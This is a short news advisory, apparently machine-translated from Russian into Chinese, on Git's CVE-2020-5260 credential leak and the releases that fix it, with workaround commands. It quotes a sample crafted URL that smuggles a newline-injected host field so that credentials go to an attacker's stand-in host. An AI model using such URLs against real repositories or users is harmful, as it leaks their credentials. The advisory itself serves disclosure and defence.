Git 凭证泄露漏洞

发表 分布式源代码控制系统 Git 2.26.1、2.25.3、2.24.2、2.23.2、2.22.3、2.21.2、2.20.3、2.19.4、2.18.3 和 2.17.4 的修正版本,位于这消除了 漏洞 (CVE-2020-5260)在处理程序“凭证.helper”,当 git 客户端使用包含换行符的特殊格式的 URL 访问存储库时,这会导致凭据被发送到错误的主机。 该漏洞可用于安排将来自另一台主机的凭据发送到攻击者控制的服务器。

当指定像“https://evil.com?%0ahost=github.com/”这样的 URL 时,连接到主机evill.com 时的凭证处理程序将传递为 github.com 指定的身份验证参数。 当执行“git clone”等操作时会出现此问题,包括处理子模块的 URL(例如,“git submodule update”将自动处理存储库中 .gitmodules 文件中指定的 URL)。 在开发人员在没有看到 URL 的情况下克隆存储库的情况下,该漏洞最为危险,例如,在使用子模块时,或在执行自动操作的系统中(例如,在包构建脚本中)。

阻止新版本中的漏洞 被禁止 在通过凭证交换协议传输的任何值中传递换行符。 对于发行版,您可以在页面上跟踪软件包更新的发布 Debian, Ubuntu, RHEL, SUSE/开放SUSE, Fedora, , FreeBSD的.

作为阻止问题的解决方法 建议 访问公共存储库时不要使用 credential.helper,并且不要在未经检查的存储库的“--recurse-submodules”模式下使用“git clone”。 要完全禁用 credential.helper 处理程序,这会 保存 并从中检索密码 缓存, 受保护 储存库 或带有密码的文件,您可以使用以下命令:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

来源: opennet.ru

添加评论